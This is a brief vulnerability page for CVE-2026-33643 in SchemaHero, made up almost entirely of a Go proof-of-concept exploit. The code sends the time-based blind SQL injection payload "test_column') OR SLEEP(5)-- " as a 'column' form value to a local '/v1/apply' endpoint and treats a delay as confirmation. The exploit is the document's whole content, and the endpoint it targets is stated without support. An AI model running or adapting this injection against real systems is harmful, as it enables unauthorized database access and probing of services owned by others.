CVE-2026-33643 SchemaHero SQL注入漏洞

// PoC for CVE-2026-33643 - SQL Injection in SchemaHero // Target: mysqlColumnAsInsert function 'column' parameter package main import ( "fmt" "net/http" "net/url" ) func main() { // Target endpoint handling the schema migration targetURL := "http://localhost:8080/v1/apply" // Malicious payload designed to inject SQL via the column parameter // This payload attempts to perform a time-based blind injection payload := "test_column') OR SLEEP(5)-- " // Constructing the request body formData := url.Values{} formData.Set("column", payload) // Sending the POST request resp, err := http.PostForm(targetURL, formData) if err != nil { fmt.Printf("[!] Request failed: %v\n", err) return } defer resp.Body.Close() fmt.Printf("[*] Payload sent. Status Code: %d\n", resp.StatusCode) fmt.Println("[*] If response time > 5 seconds, the vulnerability is likely confirmed.") }